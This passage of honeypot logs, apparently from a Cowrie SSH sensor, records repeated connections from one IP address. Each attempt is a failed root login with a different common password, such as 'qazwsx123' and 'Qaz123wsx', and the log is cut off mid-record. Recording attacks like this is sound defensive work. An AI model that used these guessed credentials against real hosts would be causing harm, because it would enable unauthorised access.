{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59164,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce21ddee5220","protocol":"ssh","message":"New connection: 60.165.124.241:59164 (10.17.0.5:22) [session: ce21ddee5220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:06.651565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:06.656989Z","src_ip":"60.165.124.241","session":"ce21ddee5220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:06.897464Z","src_ip":"60.165.124.241","session":"ce21ddee5220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@0","message":"login attempt [root/password@0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:07.614300Z","src_ip":"60.165.124.241","session":"ce21ddee5220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:08.855821Z","src_ip":"60.165.124.241","session":"ce21ddee5220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33850,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddd5c6212e5","protocol":"ssh","message":"New connection: 60.165.124.241:33850 (10.17.0.5:22) [session: 9ddd5c6212e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:09.125760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:09.130666Z","src_ip":"60.165.124.241","session":"9ddd5c6212e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:09.397793Z","src_ip":"60.165.124.241","session":"9ddd5c6212e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop123","message":"login attempt [root/qwertyuiop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:10.173457Z","src_ip":"60.165.124.241","session":"9ddd5c6212e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:11.432541Z","src_ip":"60.165.124.241","session":"9ddd5c6212e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36900,"dst_ip":"10.17.0.5","dst_port":22,"session":"a97616d69c64","protocol":"ssh","message":"New connection: 60.165.124.241:36900 (10.17.0.5:22) [session: a97616d69c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:11.688498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:11.693626Z","src_ip":"60.165.124.241","session":"a97616d69c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:11.956749Z","src_ip":"60.165.124.241","session":"a97616d69c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supernet","message":"login attempt [root/supernet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:12.735883Z","src_ip":"60.165.124.241","session":"a97616d69c64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:14.002682Z","src_ip":"60.165.124.241","session":"a97616d69c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40164,"dst_ip":"10.17.0.5","dst_port":22,"session":"825a0b3be5a7","protocol":"ssh","message":"New connection: 60.165.124.241:40164 (10.17.0.5:22) [session: 825a0b3be5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:14.206411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:14.211481Z","src_ip":"60.165.124.241","session":"825a0b3be5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:14.449566Z","src_ip":"60.165.124.241","session":"825a0b3be5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hik12345+","message":"login attempt [root/hik12345+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:15.173451Z","src_ip":"60.165.124.241","session":"825a0b3be5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:16.413845Z","src_ip":"60.165.124.241","session":"825a0b3be5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42998,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7c67fc3403b","protocol":"ssh","message":"New connection: 60.165.124.241:42998 (10.17.0.5:22) [session: c7c67fc3403b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:16.653223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:16.659687Z","src_ip":"60.165.124.241","session":"c7c67fc3403b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:16.904536Z","src_ip":"60.165.124.241","session":"c7c67fc3403b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19851985","message":"login attempt [root/19851985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:17.630099Z","src_ip":"60.165.124.241","session":"c7c67fc3403b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:18.876770Z","src_ip":"60.165.124.241","session":"c7c67fc3403b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46010,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cfafa501b87","protocol":"ssh","message":"New connection: 60.165.124.241:46010 (10.17.0.5:22) [session: 8cfafa501b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:19.110817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:19.117642Z","src_ip":"60.165.124.241","session":"8cfafa501b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:19.358580Z","src_ip":"60.165.124.241","session":"8cfafa501b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123wsx","message":"login attempt [root/Qaz123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:20.082282Z","src_ip":"60.165.124.241","session":"8cfafa501b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:21.328526Z","src_ip":"60.165.124.241","session":"8cfafa501b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49076,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ba987efbb25","protocol":"ssh","message":"New connection: 60.165.124.241:49076 (10.17.0.5:22) [session: 3ba987efbb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:21.565273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:21.570804Z","src_ip":"60.165.124.241","session":"3ba987efbb25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:21.810887Z","src_ip":"60.165.124.241","session":"3ba987efbb25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"JH1wtoVGPrndhGOI","message":"login attempt [root/JH1wtoVGPrndhGOI] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:22.546291Z","src_ip":"60.165.124.241","session":"3ba987efbb25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:23.789070Z","src_ip":"60.165.124.241","session":"3ba987efbb25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52012,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bfd7edfa954","protocol":"ssh","message":"New connection: 60.165.124.241:52012 (10.17.0.5:22) [session: 5bfd7edfa954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:24.022077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:24.026876Z","src_ip":"60.165.124.241","session":"5bfd7edfa954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:24.263149Z","src_ip":"60.165.124.241","session":"5bfd7edfa954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:24.980895Z","src_ip":"60.165.124.241","session":"5bfd7edfa954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:26.221054Z","src_ip":"60.165.124.241","session":"5bfd7edfa954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55022,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c981b67e49a","protocol":"ssh","message":"New connection: 60.165.124.241:55022 (10.17.0.5:22) [session: 6c981b67e49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:26.457563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:26.462652Z","src_ip":"60.165.124.241","session":"6c981b67e49a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-5